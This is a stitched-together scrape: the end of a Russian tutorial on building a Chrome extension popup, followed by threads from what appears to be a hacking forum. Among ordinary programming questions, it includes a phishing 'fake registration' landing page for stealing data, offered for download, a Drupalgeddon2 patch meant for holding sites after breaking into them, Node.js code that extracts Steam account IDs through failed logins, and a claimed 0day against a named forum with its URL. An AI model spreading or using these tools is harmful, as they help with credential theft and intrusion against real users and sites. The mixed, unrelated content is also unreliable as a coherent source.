  <link href="https://maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet" integrity="sha384-wvfXpqpZZVQGK6TAh5PVlGOfQNHSoD2xbE+QkPxCAFlNEevoEH3Sl0sibVcOQVnN"
    crossorigin="anonymous">
    <!--начало блока со стилями для страницы-->
  <style>
    /* Модальная структура документа */
/*общие настройки для всего документа*/
html,
    body {
font-family: 'Open Sans', sans-serif;
font-size: 14px;
margin: 0;
min-height: 180px;
padding: 0;
width: 380px;
}
/*задаём настройки для заголовков первого уровня*/
h1 {
font-family: 'Menlo', monospace;
font-size: 22px;
font-weight: 400;
margin: 0;
color: #2f5876;
}
a:link,
    a:visited {
color: #000000;
outline: 0;
text-decoration: none;
}
/*задаём ширину картинки*/
img {
width: 30px; /*ширина изображений*/
}
.modal-header {
align-items: center; /*выравнивание элементов по центру*/
border-bottom: 0.5px solid #dadada; /*свойства нижней разделительной линии*/
height: 50px;
}
.modal-content {
padding: 0 22px; /*отступы сверху и снизу, сверху и слева*/
}
.modal-icons {
border-top: 0.5px solid #dadada; /*свойства верхней разделительной линии*/
height: 50px;
width: 100%;
}
.logo {
padding: 16px; /*отступы со всех сторон*/
}
.logo-icon {
vertical-align: text-bottom; /*выравнивание по нижней части текста*/
margin-right: 12px; /*задётся отступ элементов от изображения*/
}
.version {
color: #444;
font-size: 18px;
}
.flex-container {
display: flex; /*отображает контейнер в виде блочного элемента*/
justify-content: space-between; /*равномерное выравнивание элементов*/
padding: 10px 22px;
}
/*задаём настройки для контейнеров с иконками*/
.flex {
opacity: 1; /*параметр непрозрачности иконок*/
width: 120px;
}
.flex:hover {
opacity: 0.4; /*уровень непрозрачности при наведении курсора на элемент*/
}
.flex .fa {
font-size: 40px;
color: #2f5876;
}
  </style>
  <!--конец объяснения блока со стилями-->
  <script src="popup.js"></script>
</head>
<!--объяснение тега <body>-->
<body>
  <!--контейнер, содержащий название, логотип и номер версии-->
  <div class="modal-header">
    <h1 class="logo">
      <img class="logo-icon" src="images/tproger-logo.ico">Запускатор Tproger
      <span class="version">(1.0.0)</span>
    </h1>
  </div>
  <!--Конец контейнера-->
  <!--контейнер, содержащий описание функций расширения-->
  <div class="modal-content">
    <p>Быстрый доступ к контентным площадкам Типичного Программиста</p>
  </div>
  <!--Конец контейнера-->
  <!--контейнер, содержащий контейнеры с иконками-->
  <div class="modal-icons">
    <div class="flex-container">
      <div class="flex">
        <!--target="_blank" — это служит для открытия новой влкадки при клике по иконке-->
        <a href="#" target="_blank">
          <i class="fa fa-globe"></i>
        </a>
      </div>
      <div class="flex">
        <a href="#" target="_blank">
          <i class="fa fa-telegram"></i>
        </a>
      </div>
      <div class="flex">
        <a href="#" target="_blank">
          <i class="fa fa-vk"></i>
        </a>
      </div>
      <div class="flex">
        <a href="#" target="_blank">
          <i class="fa fa-facebook"></i>
        </a>
      </div>
    </div>
  </div>
</body>

</html>

После проверки можно приступать к публикации расширения. Для этого у вас должны быть следующие файлы и папки:

![](/proxy.php?image=https%3A%2F%2Fcdn.tproger.ru%2Fwp- content%2Fuploads%2F2018%2F03%2Fchrome_extension_scr-e1521478927182.png&hash=8bac1cf6952fac1dcda7ab16331f6119)

И далее следуем инструкциям на скриншотах ниже.

Для загрузки расширения в магазин нам нужно зайти в меню, навести мышку на «дополнительные настройки», а затем выбрать «расширения» или ввести в адресной строке chrome://extensions/.

![](/proxy.php?image=https%3A%2F%2Fcdn.tproger.ru%2Fwp- content%2Fuploads%2F2018%2F03%2Fdev-menu-chorme- extension.png&hash=2f0fa00faca952c7b1c92169394517e8)

Далее нажимаем на «загрузить распакованное расширение» и выбираем папку с файлами.

![](/proxy.php?image=https%3A%2F%2Fcdn.tproger.ru%2Fwp- content%2Fuploads%2F2018%2F03%2Fextensions- chrome.png&hash=b567d354dca6ccdb9e352d3d3124cb5f)

После того, как вы выбрали папку с файлами, она загрузится в браузер и превратится в расширение, которое будет доступно за пределами правой части адресной строки.

![](/proxy.php?image=https%3A%2F%2Fcdn.tproger.ru%2Fwp- content%2Fuploads%2F2018%2F03%2Ffinal-pic- extensions.png&hash=fc076f0eb6a5cbafef3b525f870d8b0c)

Надеемся, что всё работает правильно и вы понимаете структуру расширений для Chrome.

Автор:
Основано на видео с канала «Traversy Media»
Перевод: Евгений Туренко

Нужен Discord bot
ID: 67668b27b4103b69df375df7
Thread ID: 27488
Created: 2019-01-26T20:22:48+0000
Last Post: 2019-02-08T20:34:57+0000
Author: Excy
Replies: 2 Views: 2K

Доброго времени суток. Ищу человека который сможет помочь с написанием бота для Дискорда.
Бот нужен самый простой, для проведения Акций (Giveaway) который случайным образом будет выбирать одного или нескольких победителей.
Есть исходники готовых ботов английской версии. Но хотелось бы чтобы все сообщения и т.д. были на русском.
Собственно был бы очень благодарен за помощь!
Telegram: excyq

Фейк регистрация для угона данных
ID: 67668b27b4103b69df375dfb
Thread ID: 27202
Created: 2019-01-09T08:15:14+0000
Last Post: 2019-01-09T08:38:03+0000
Author: DeiTy
Replies: 1 Views: 2K

На соседнем борде увидел тему http://prntscr.com/m4scap
Так там кто-то у него этот 'лендинг' за 500р купить хотел/хочет/купил (точно хз)
Ну а так как там делов на 10 минут решил сам сделать подобное
Добавил/изменил от варианта автора той темы : сделал отправку ajax , прилепил зимнею анимацию (сейчас же зима -_-) , маску на поле для ввода номера , более менее адаптивный .
Как всё это дело выглядит : http://kteplouxov98.24x7s.com/
Данные приходят вам на почту : http://prntscr.com/m4s91q
Скачать : https://yadi.sk/d/er7heiEpYrs_mQ

Фикс Drupalgeddon2 (для фикса дыры после залива)
ID: 67668b27b4103b69df375dfd
Thread ID: 27138
Created: 2019-01-04T14:12:46+0000
Last Post: 2019-01-04T14:12:46+0000
Author: Aldesa
Replies: 0 Views: 2K

Пароль от архива местный.

Фикс на 7ой и на 8ой друпал в архиве.

Думаю понятно для каких целей.

Сделан мною весной прошлого года.

Steam profile with login [NodeJS Source]
ID: 67668b27b4103b69df375dff
Thread ID: 26772
Created: 2018-12-06T15:18:55+0000
Last Post: 2018-12-06T15:18:55+0000
Author: Грач
Replies: 0 Views: 2K

При авторизации с логином и невалидным паролем через SteamKit результатом можно получить SteamID (Profile).
Для работы вам нужно скачать NPM модуль

steam

Click to expand...

На C# реализация кстати практически идентичная.

Code:Copy to clipboard

            var Steam = require('steam');
            var logOnOptions;
            var steamClient;
            var steamUser;
            logOnOptions = {
                account_name: "",
                password: 'etoNeGovnoCode'
            };
            steamClient = new Steam.SteamClient();
            steamUser = new Steam.SteamUser(steamClient);
            steamClient.connect();
            steamClient.on('connected', function () {
                steamUser.logOn(logOnOptions);
            });
            steamClient.on('logOnResponse', function (logonResp) {
                    ss = logonResp;
            });
            steamClient.on('error', function(err) {
                //ss.client_supplied_steamid - steamid
            });
PostgreSQL
ID: 67668b27b4103b69df375e00
Thread ID: 26657
Created: 2018-11-27T12:21:23+0000
Last Post: 2018-11-27T13:54:01+0000
Author: gragna
Replies: 1 Views: 2K

Так... столкнулся с проблемой.....

Хочу проверить в базе целый список данных на уникальность

Грубо говоря.
Есть база - 1 таблица - 4 столбца:
ID - text1 -text2 -text3

Данных много там.

Если проверять строки по очереди через SELECT - на одну проверку уходит около 2 секунд ( в базе 35.000.000 данных примерно было на тесте )
Да, поиск то быстрый. Но если мне нужно проверить 1.000.000 строк так? Есть какие-то команды , чтобы быстрее делать?

Например, для массового INSERT есть COPY FROM.

ЗЫ слышал что-то про скрипты для сервера, но ещё толком не колупался. Хотелось бы услышать рекомендации от профессионалов

Нужен help
ID: 67668b27b4103b69df375e01
Thread ID: 26629
Created: 2018-11-23T17:41:47+0000
Last Post: 2018-11-24T05:22:44+0000
Author: nullfqxt
Replies: 2 Views: 2K

Гайз, есть совместный редактор js + php с компилятором ? За ранее спасибо большое.

Сборка httpd Apache2
ID: 67668b27b4103b69df375e04
Thread ID: 25967
Created: 2015-07-03T20:30:07+0000
Last Post: 2015-07-06T19:55:28+0000
Author: Antares
Replies: 2 Views: 2K

Помогите пожалуйста собрать последний httpd под Windows x86_64

Code:Copy to clipboard

Alexey@ANTARES MSYS ~/httpd-2.4.12
$ ./configure --build=x86_64-pc-msys
checking for chosen layout... Apache
checking for working mkdir -p... yes
checking for grep that handles long lines and -e... /usr/bin/grep
checking for egrep... /usr/bin/grep -E
checking build system type... x86_64-pc-msys
checking host system type... x86_64-pc-msys
checking target system type... x86_64-pc-msys
configure:
configure: Configuring Apache Portable Runtime library...
configure:
checking for APR... yes
  setting CC to "gcc"
  setting CPP to "gcc -E"
  setting CFLAGS to " "
  setting CPPFLAGS to " "
  setting LDFLAGS to " "
configure:
configure: Configuring Apache Portable Runtime Utility library...
configure:
checking for APR-util... yes
checking for gcc... gcc
checking whether the C compiler works... yes
checking for C compiler default output file name... a.exe
checking for suffix of executables... .exe
checking whether we are cross compiling... no
checking for suffix of object files... o
checking whether we are using the GNU C compiler... yes
checking whether gcc accepts -g... yes
checking for gcc option to accept ISO C89... none needed
checking how to run the C preprocessor... gcc -E
checking for gcc option to accept ISO C99... -std=gnu99
checking for pcre-config... /usr/bin/pcre-config
configure: Using external PCRE library from /usr/bin/pcre-config
  setting PCRE_INCLUDES to ""
  setting PCRE_LIBS to "-lpcre"
configure:
configure: Configuring Apache httpd...
configure:
  setting INCLUDES to "-I."
  adding "-I$(top_srcdir)/os/$(OS_DIR)" to INCLUDES
  adding "-I$(top_srcdir)/include" to INCLUDES
  adding "-I/usr/include/apr-1" to INCLUDES
configure:
configure: Applying OS-specific hints for httpd...
configure:
  forcing AP_NONBLOCK_WHEN_MULTI_LISTEN to "1"
checking for rm... /usr/bin/rm
checking for pkg-config... /usr/bin/pkg-config
checking for rsync... no
checking for gawk... gawk
checking whether ln -s works... no, using cp -pR
checking for ranlib... ranlib
checking for lynx... no
checking for links... no
checking for elinks... no
checking for ANSI C header files... yes
checking for sys/types.h... yes
checking for sys/stat.h... yes
checking for stdlib.h... yes
checking for string.h... yes
checking for memory.h... yes
checking for strings.h... yes
checking for inttypes.h... yes
checking for stdint.h... yes
checking for unistd.h... yes
checking minix/config.h usability... no
checking minix/config.h presence... no
checking for minix/config.h... no
checking whether it is safe to define __EXTENSIONS__... yes
checking for library containing strerror... none required
checking for APR version 1.3.0 or later... yes
checking for APR-util version 1.3.0 or later... yes
checking for ANSI C header files... (cached) yes
checking for string.h... (cached) yes
checking limits.h usability... yes
checking limits.h presence... yes
checking for limits.h... yes
checking for unistd.h... (cached) yes
checking sys/socket.h usability... yes
checking sys/socket.h presence... yes
checking for sys/socket.h... yes
checking pwd.h usability... yes
checking pwd.h presence... yes
checking for pwd.h... yes
checking grp.h usability... yes
checking grp.h presence... yes
checking for grp.h... yes
checking for strings.h... (cached) yes
checking sys/prctl.h usability... no
checking sys/prctl.h presence... no
checking for sys/prctl.h... no
checking sys/processor.h usability... no
checking sys/processor.h presence... no
checking for sys/processor.h... no
checking sys/sem.h usability... yes
checking sys/sem.h presence... yes
checking for sys/sem.h... yes
checking sys/sdt.h usability... no
checking sys/sdt.h presence... no
checking for sys/sdt.h... no
checking sys/loadavg.h usability... no
checking sys/loadavg.h presence... no
checking for sys/loadavg.h... no
checking for sys/wait.h that is POSIX.1 compatible... yes
checking for an ANSI C-conforming const... yes
checking for library containing sqrt... none required
checking for library containing crypt... -lcrypt
checking for getpwnam... yes
checking for getgrnam... yes
checking for initgroups... yes
checking for bindprocessor... no
checking for prctl... no
checking for timegm... yes
checking for getpgid... yes
checking for fopen64... no
checking for getloadavg... no
checking for void pointer length... no
checking for gettid()... no
checking for tm_gmtoff in struct tm... yes
checking whether to enable mod_authn_file... shared
checking whether to enable mod_authn_dbm... shared (most)
checking whether to enable mod_authn_anon... shared (most)
checking whether to enable mod_authn_dbd... shared (most)
checking whether to enable mod_authn_socache... shared (most)
checking whether to enable mod_authn_core... shared
checking whether to enable mod_authz_host... shared
checking whether to enable mod_authz_groupfile... shared
checking whether to enable mod_authz_user... shared
checking whether to enable mod_authz_dbm... shared (most)
checking whether to enable mod_authz_owner... shared (most)
checking whether to enable mod_authz_dbd... shared (most)
checking whether to enable mod_authz_core... shared
checking whether to enable mod_authnz_ldap... checking dependencies
checking for ldap support in apr/apr-util... no
configure: WARNING: apr/apr-util is compiled without ldap support
checking whether to enable mod_authnz_ldap... no (disabled)
checking whether to enable mod_authnz_fcgi... no
checking whether to enable mod_access_compat... shared
checking whether to enable mod_auth_basic... shared
checking whether to enable mod_auth_form... shared (most)
checking whether to enable mod_auth_digest... checking dependencies
checking whether to enable mod_auth_digest... shared (most)
checking whether to enable mod_allowmethods... shared (most)
  adding "-I$(top_srcdir)/modules/aaa" to INCLUDES
checking whether to enable mod_isapi... no
checking whether to enable mod_file_cache... shared (most)
checking whether to enable mod_cache... shared (most)
checking whether to enable mod_cache_disk... checking dependencies
checking whether to enable mod_cache_disk... shared (most)
checking whether to enable mod_cache_socache... shared (most)
checking whether to enable mod_socache_shmcb... shared (most)
checking whether to enable mod_socache_dbm... shared (most)
checking whether to enable mod_socache_memcache... shared (most)
checking whether to enable mod_socache_dc... no
  adding "-I$(top_srcdir)/modules/cache" to INCLUDES
  setting HTTPD_LDFLAGS to "-export-dynamic"
checking whether to enable mod_so... static
  setting AP_LIBS to "$(MOD_SO_LDADD)"
checking whether to enable mod_watchdog... no
checking whether to enable mod_macro... shared (most)
  adding "-I$(top_srcdir)/modules/core" to INCLUDES
checking whether to enable mod_dbd... shared (most)
  adding "-I$(top_srcdir)/modules/database" to INCLUDES
checking whether to enable mod_bucketeer... no
checking whether to enable mod_dumpio... shared (most)
checking whether to enable mod_echo... no
checking whether to enable mod_example_hooks... no
checking whether to enable mod_case_filter... no
checking whether to enable mod_case_filter_in... no
checking whether to enable mod_example_ipc... no
checking whether to enable mod_buffer... shared (most)
checking whether to enable mod_data... no
checking whether to enable mod_ratelimit... shared (most)
checking whether to enable mod_reqtimeout... shared
checking whether to enable mod_ext_filter... shared (most)
checking whether to enable mod_request... shared (most)
checking whether to enable mod_include... shared (most)
checking whether to enable mod_filter... shared
checking whether to enable mod_reflector... no
checking whether to enable mod_substitute... shared (most)
checking whether to enable mod_sed... checking dependencies
  setting MOD_SED_LDADD to "-export-symbols-regex sed_module"
checking whether to enable mod_sed... shared (most)
checking whether to enable mod_charset_lite... no
checking whether to enable mod_deflate... checking dependencies
checking for zlib location... not found
checking whether to enable mod_deflate... no (disabled)
checking whether to enable mod_xml2enc... no
checking whether to enable mod_proxy_html... no
  adding "-I$(top_srcdir)/modules/filters" to INCLUDES
checking whether to enable mod_http... static
  adding "$(MOD_HTTP_LDADD)" to AP_LIBS
checking whether to enable mod_mime... shared
checking whether to enable mod_ldap... checking dependencies
checking for ldap support in apr/apr-util... (cached) no
configure: WARNING: apr/apr-util is compiled without ldap support
checking whether to enable mod_ldap... no (disabled)
  adding "-I$(top_srcdir)/modules/ldap" to INCLUDES
checking whether to enable mod_log_config... shared
checking whether to enable mod_log_debug... shared (most)
checking whether to enable mod_log_forensic... no
checking whether to enable mod_logio... shared (most)
  adding "-I$(top_srcdir)/modules/loggers" to INCLUDES
checking whether to enable mod_lua... no
  adding "-I$(top_srcdir)/modules/lua" to INCLUDES
checking whether to enable mod_env... shared
checking whether to enable mod_mime_magic... no
checking whether to enable mod_cern_meta... no
checking whether to enable mod_expires... shared (most)
checking whether to enable mod_headers... shared
checking whether to enable mod_ident... no
checking whether to enable mod_usertrack... no
checking whether to enable mod_unique_id... shared (most)
checking whether to enable mod_setenvif... shared
checking whether to enable mod_version... shared
checking whether to enable mod_remoteip... shared (most)
checking whether to enable mod_proxy... shared (most)
checking whether to enable mod_proxy_connect... checking dependencies
checking whether to enable mod_proxy_connect... shared (most)
checking whether to enable mod_proxy_ftp... checking dependencies
checking whether to enable mod_proxy_ftp... shared (most)
checking whether to enable mod_proxy_http... checking dependencies
checking whether to enable mod_proxy_http... shared (most)
checking whether to enable mod_proxy_fcgi... checking dependencies
checking whether to enable mod_proxy_fcgi... shared (most)
checking whether to enable mod_proxy_scgi... checking dependencies
checking whether to enable mod_proxy_scgi... shared (most)
checking whether to enable mod_proxy_fdpass... no
checking whether to enable mod_proxy_wstunnel... checking dependencies
checking whether to enable mod_proxy_wstunnel... shared (most)
checking whether to enable mod_proxy_ajp... checking dependencies
checking whether to enable mod_proxy_ajp... shared (most)
checking whether to enable mod_proxy_balancer... checking dependencies
checking whether to enable mod_proxy_balancer... shared (most)
checking whether to enable mod_proxy_express... checking dependencies
checking whether to enable mod_proxy_express... shared (most)
  adding "-I$(top_srcdir)/modules/proxy" to INCLUDES
checking whether to enable mod_session... shared (most)
checking whether to enable mod_session_cookie... checking dependencies
checking whether to enable mod_session_cookie... shared (most)
configure: WARNING: Your APR does not include SSL/EVP support. To enable it: configure --with-crypto
checking whether to enable mod_session_crypto... no
checking whether to enable mod_session_dbd... checking dependencies
checking whether to enable mod_session_dbd... shared (most)
  adding "-I$(top_srcdir)/modules/session" to INCLUDES
checking whether to enable mod_slotmem_shm... shared (most)
checking whether to enable mod_slotmem_plain... no
checking whether to enable mod_ssl... checking dependencies
checking for OpenSSL... checking for user-provided OpenSSL base directory... none
checking for OpenSSL version >= 0.9.8a... FAILED
configure: WARNING: OpenSSL version is too old
no
checking whether to enable mod_ssl... no (disabled)
  adding "-I$(top_srcdir)/modules/ssl" to INCLUDES
checking whether to enable mod_optional_hook_export... no
checking whether to enable mod_optional_hook_import... no
checking whether to enable mod_optional_fn_import... no
checking whether to enable mod_optional_fn_export... no
checking whether to enable mod_dialup... no
  adding "-I$(top_srcdir)/modules/test" to INCLUDES
checking for target platform... unix
checking for rlim_t... yes
checking sys/time.h usability... yes
checking sys/time.h presence... yes
checking for sys/time.h... yes
checking sys/resource.h usability... yes
checking sys/resource.h presence... yes
checking for sys/resource.h... yes
checking for sys/sem.h... (cached) yes
checking sys/ipc.h usability... yes
checking sys/ipc.h presence... yes
checking for sys/ipc.h... yes
checking for setsid... yes
checking for killpg... yes
checking bstring.h usability... no
checking bstring.h presence... no
checking for bstring.h... no
checking for unistd.h... (cached) yes
checking for syslog... yes
checking sys/times.h usability... yes
checking sys/times.h presence... yes
checking for sys/times.h... yes
checking for times... yes
  adding "-I$(top_srcdir)/server" to INCLUDES
checking whether APR supports thread-safe pollsets... checking for kqueue... no
checking for port_create... no
checking for epoll_create... no
no
checking if event MPM supports this platform... no - APR does not support threads
checking if mpmt_os2 MPM supports this platform... no
checking if prefork MPM supports this platform... yes
checking if WinNT MPM supports this platform... no
checking if worker MPM supports this platform... no - APR does not support threads
checking whether to enable mod_lbmethod_byrequests... shared (most)
checking whether to enable mod_lbmethod_bytraffic... shared (most)
checking whether to enable mod_lbmethod_bybusyness... shared (most)
checking whether to enable mod_lbmethod_heartbeat... shared (most)
checking which MPM to use by default... prefork - event and worker are not supported
checking whether to enable mod_unixd... shared
checking whether to enable mod_privileges... no
  adding "-I$(top_srcdir)/modules/arch/unix" to INCLUDES
checking whether to enable mod_heartbeat... no
checking whether to enable mod_heartmonitor... no
checking whether to enable mod_dav... shared (most)
  adding "-I$(top_srcdir)/modules/dav/main" to INCLUDES
checking whether to enable mod_status... shared
checking whether to enable mod_autoindex... shared
checking whether to enable mod_asis... no
checking whether to enable mod_info... shared (most)
checking whether to enable mod_suexec... no
checking whether to enable mod_cgi... shared (most)
checking whether to enable mod_cgid... no
  adding "-I$(top_srcdir)/modules/generators" to INCLUDES
checking whether to enable mod_dav_fs... checking dependencies
checking whether to enable mod_dav_fs... shared (most)
checking whether to enable mod_dav_lock... no
checking for extra modules... none
checking whether to enable mod_vhost_alias... shared (most)
checking whether to enable mod_negotiation... shared (most)
checking whether to enable mod_dir... shared
checking whether to enable mod_imagemap... no
checking whether to enable mod_actions... shared (most)
checking whether to enable mod_speling... shared (most)
checking whether to enable mod_userdir... shared (most)
checking whether to enable mod_alias... shared
checking whether to enable mod_rewrite... shared (most)
  adding "-I$(top_srcdir)/modules/mappers" to INCLUDES
configure:
configure: Restore user-defined environment settings...
configure:
  restoring CPPFLAGS to ""
  setting EXTRA_CPPFLAGS to " "
  restoring CFLAGS to ""
  setting EXTRA_CFLAGS to " "
  restoring CXXFLAGS to ""
  setting EXTRA_CXXFLAGS to ""
  restoring LDFLAGS to ""
  setting EXTRA_LDFLAGS to " "
  restoring LIBS to ""
  setting EXTRA_LIBS to ""
  restoring INCLUDES to ""
  setting EXTRA_INCLUDES to "-I. -I$(top_srcdir)/os/$(OS_DIR) -I$(top_srcdir)/include -I/usr/include/apr-1 -I$(top_srcdir)/modules/aaa -I$(top_sr                                               cdir)/modules/cache -I$(top_srcdir)/modules/core -I$(top_srcdir)/modules/database -I$(top_srcdir)/modules/filters -I$(top_srcdir)/modules/ldap -I                                               $(top_srcdir)/modules/loggers -I$(top_srcdir)/modules/lua -I$(top_srcdir)/modules/proxy -I$(top_srcdir)/modules/session -I$(top_srcdir)/modules/s                                               sl -I$(top_srcdir)/modules/test -I$(top_srcdir)/server -I$(top_srcdir)/modules/arch/unix -I$(top_srcdir)/modules/dav/main -I$(top_srcdir)/modules                                               /generators -I$(top_srcdir)/modules/mappers"
configure:
configure: Construct makefiles and header files...
configure:
configure: creating config_vars.mk
configure: creating ./config.status
creating modules/aaa/Makefile
creating modules/arch/win32/Makefile
creating modules/cache/Makefile
creating modules/core/Makefile
creating modules/database/Makefile
creating modules/debugging/Makefile
creating modules/echo/Makefile
creating modules/examples/Makefile
creating modules/experimental/Makefile
creating modules/filters/Makefile
creating modules/http/Makefile
creating modules/ldap/Makefile
creating modules/loggers/Makefile
creating modules/lua/Makefile
creating modules/metadata/Makefile
creating modules/proxy/Makefile
creating modules/session/Makefile
creating modules/slotmem/Makefile
creating modules/ssl/Makefile
creating modules/test/Makefile
creating os/unix/Makefile
creating modules/proxy/balancers/Makefile
creating server/mpm/Makefile
creating server/mpm/prefork/Makefile
creating modules/arch/unix/Makefile
creating modules/cluster/Makefile
creating modules/dav/main/Makefile
creating modules/generators/Makefile
creating modules/dav/fs/Makefile
creating modules/dav/lock/Makefile
creating modules/mappers/Makefile
creating Makefile
creating modules/Makefile
creating srclib/Makefile
creating os/Makefile
creating server/Makefile
creating support/Makefile
creating test/Makefile
config.status: creating docs/conf/httpd.conf
config.status: creating docs/conf/extra/httpd-autoindex.conf
config.status: creating docs/conf/extra/httpd-dav.conf
config.status: creating docs/conf/extra/httpd-default.conf
config.status: creating docs/conf/extra/httpd-info.conf
config.status: creating docs/conf/extra/httpd-languages.conf
config.status: creating docs/conf/extra/httpd-manual.conf
config.status: creating docs/conf/extra/httpd-mpm.conf
config.status: creating docs/conf/extra/httpd-multilang-errordoc.conf
config.status: creating docs/conf/extra/httpd-ssl.conf
config.status: creating docs/conf/extra/httpd-userdir.conf
config.status: creating docs/conf/extra/httpd-vhosts.conf
config.status: creating docs/conf/extra/proxy-html.conf
config.status: creating include/ap_config_layout.h
config.status: creating support/apxs
config.status: creating support/apachectl
config.status: creating support/dbmmanage
config.status: creating support/envvars-std
config.status: creating support/log_server_status
config.status: creating support/logresolve.pl
config.status: creating support/phf_abuse_log.cgi
config.status: creating support/split-logfile
config.status: creating build/rules.mk
config.status: creating build/pkg/pkginfo
config.status: creating build/config_vars.sh
config.status: creating include/ap_config_auto.h
config.status: include/ap_config_auto.h is unchanged
config.status: executing default commands

Alexey@ANTARES MSYS ~/httpd-2.4.12
$ make
Making all in srclib
make[1]: вход в каталог «/home/Alexey/httpd-2.4.12/srclib»
make[1]: выход из каталога «/home/Alexey/httpd-2.4.12/srclib»
Making all in os
make[1]: вход в каталог «/home/Alexey/httpd-2.4.12/os»
Making all in unix
make[2]: вход в каталог «/home/Alexey/httpd-2.4.12/os/unix»
make[3]: вход в каталог «/home/Alexey/httpd-2.4.12/os/unix»
/usr/share/apr/build-1/libtool --silent --mode=compile gcc -std=gnu99             -I. -I/home/Alexey/httpd-2.4.12/os/unix -I/home/Alexey/httpd-2.                                               4.12/include -I/usr/include/apr-1 -I/home/Alexey/httpd-2.4.12/modules/aaa -I/home/Alexey/httpd-2.4.12/modules/cache -I/home/Alexey/httpd-2.4.12/m                                               odules/core -I/home/Alexey/httpd-2.4.12/modules/database -I/home/Alexey/httpd-2.4.12/modules/filters -I/home/Alexey/httpd-2.4.12/modules/ldap -I/                                               home/Alexey/httpd-2.4.12/modules/loggers -I/home/Alexey/httpd-2.4.12/modules/lua -I/home/Alexey/httpd-2.4.12/modules/proxy -I/home/Alexey/httpd-2                                               .4.12/modules/session -I/home/Alexey/httpd-2.4.12/modules/ssl -I/home/Alexey/httpd-2.4.12/modules/test -I/home/Alexey/httpd-2.4.12/server -I/home                                               /Alexey/httpd-2.4.12/modules/arch/unix -I/home/Alexey/httpd-2.4.12/modules/dav/main -I/home/Alexey/httpd-2.4.12/modules/generators -I/home/Alexey                                               /httpd-2.4.12/modules/mappers  -prefer-non-pic -static -c unixd.c && touch unixd.lo
In file included from unixd.c:18:0:
/home/Alexey/httpd-2.4.12/include/httpd.h:1025:5: ошибка: unknown type name «apr_thread_mutex_t»
     apr_thread_mutex_t *invoke_mtx;
     ^
/home/Alexey/httpd-2.4.12/build/rules.mk:206: ошибка выполнения рецепта для цели «unixd.lo»
make[3]: *** [unixd.lo] Ошибка 1
make[3]: выход из каталога «/home/Alexey/httpd-2.4.12/os/unix»
/home/Alexey/httpd-2.4.12/build/rules.mk:75: ошибка выполнения рецепта для цели «all-recursive»
make[2]: *** [all-recursive] Ошибка 1
make[2]: выход из каталога «/home/Alexey/httpd-2.4.12/os/unix»
/home/Alexey/httpd-2.4.12/build/rules.mk:75: ошибка выполнения рецепта для цели «all-recursive»
make[1]: *** [all-recursive] Ошибка 1
make[1]: выход из каталога «/home/Alexey/httpd-2.4.12/os»
/home/Alexey/httpd-2.4.12/build/rules.mk:75: ошибка выполнения рецепта для цели «all-recursive»
make: *** [all-recursive] Ошибка 1
Сервис-агрегатор по работе с Директ, Adwords, ВК
ID: 67668b27b4103b69df375e06
Thread ID: 25722
Created: 2015-03-10T14:18:53+0000
Last Post: 2015-03-10T14:18:53+0000
Author: seocool
Replies: 0 Views: 2K

Представляю вашему вниманию ряд БЕСПЛАТНЫХ инструментов, которые способны сберечь огромное количество вашего времени и денег.
Все они собраны в одном интерфейсе Apishops :

  1. Удобный и быстрый подбор ключевых запросов без каптч и прокси
    Многомиллионная база ключевиков, поиск по которой происходит за доли секунды, интеграция с API Wordstat, Semrush, Яндекс-Метрики, импорт из LI позволят вам быстро составить обширное семантическое ядро для любого сайта, проверить частотность, релевантные урлы и т.д.

  2. Автоматизация контекстной рекламы.
    Это первый в своем роде и не имеющий аналогов бесплатный инструмент для полной автоматизации создания и ведения масштабных рекламных кампаний в Яндекс- Директе, Google Adwords (а также Яндекс-Маркет).
    Поможет создавать действительно эффективные кампании с высоким CTR, не переплачивать за клики, следить за эффективностью каждого ключевого запроса (по конверсии, глубине и времени просмотра, отказам). Синхронизация с YML или csv-файлом с вашими товарами или новостями. Подбор запросов к каждому товару по 70 правилам. Самостоятельный запуск кампании с десятками тысяч ключевых слов и объявлений занимает буквально 1 минуту!

  3. Низкобюджетное трафиковое SEO-продвижение (от 3 копеек за запрос) для интернет-магазинов и порталов с ОЧЕНЬ большим количеством страниц. Комиссия 0%. Синхронизация с прайс-листом, подбор запросов к каждому товару по 70 правилам, автоимпорт запросов из вашей статистики + экономия на ссылках на порядки (цена 1 ссылки от 3 коп. в месяц) + улучшение поведенческих факторов белым способом.

  4. Автоматизация таргетированной рекламы Вконтакте.
    Позволяет одним кликом создавать много разных объявлений для всех товаров, размножать их по полу и возрасту, контролировать ставки и CTR, автоматически отключать неэффективные объявления. Подробнее в этой теме. Также есть сервис для размещения ссылок в профилях и группах социальных сетей с оплатой только за клик. Улучшайте социальные факторы своих сайтов!

  5. Наполнение сайтов релевантным SEO-контентом.
    Вам не нужно писать задания копирайтерам - достаточно нажать одну кнопку. Каждый текст уникален и содержит ключевой запрос в разных формах. За пару дней можно наполнить продающими текстами сотни страниц вашего сайта.

Зарегистрироваться в сервисе>>

Нажатие на иконку
ID: 67668b27b4103b69df375e08
Thread ID: 25534
Created: 2014-12-07T12:36:09+0000
Last Post: 2014-12-07T16:06:13+0000
Author: Blackbeard
Replies: 2 Views: 2K

Здравствуйте, уважаемые форумчане.

Вопрос в следующем:
Каким образом осуществить правый клик мышью по иконке в сис.трее, если мне известны ее координаты.
Часть кода:

Code:Copy to clipboard

; в ESI -координата X
; в EDI -координата Y
; MAKELPARAM(X, Y)
mov edx, edi
shl edx, 16
or edx, esi 
xchg esi, edx

invoke PostMessage, hToolbarWnd, WM_RBUTTONDOWN, MK_RBUTTON, esi
invoke PostMessage, hToolbarWnd, WM_RBUTTONUP, MK_RBUTTON, esi

Собственно, PostMessage не оказывает нужного эффекта. Вопрос - как решить?

Получение портов почтового сервера
ID: 67668b27b4103b69df375e09
Thread ID: 25415
Created: 2014-09-29T08:35:46+0000
Last Post: 2014-09-29T08:35:46+0000
Author: AD0
Replies: 0 Views: 2K

Задача не совсем тривиальная, обычно в почтовом софте есть автоопределение конфигурации подключения к почте, нужна такая же своя программная реализация, так же интересует определение методов авторизации и получения портов pop smtp imap для частной почты.
Через MX записи метод не столь эффективен...

Перелинкование:
https://xss.is/index.php?topic=25415
https://exploit.in/forum/index.php?showtopic=82765
https://forum.zloy.bz/showthread.php?p=5024997

vulnerability gofuckbiz.com forum
ID: 67668b27b4103b69df375e0a
Thread ID: 25314
Created: 2014-07-30T01:15:25+0000
Last Post: 2014-07-30T01:21:24+0000
Author: Sauron
Replies: 1 Views: 2K

0day exploit install.php
proof of concept: http://i.imgur.com/a95fN9b.png

follow this link: http://www.gofuckbiz.com/install/finalupgrade.php

admin warned the more he cared not

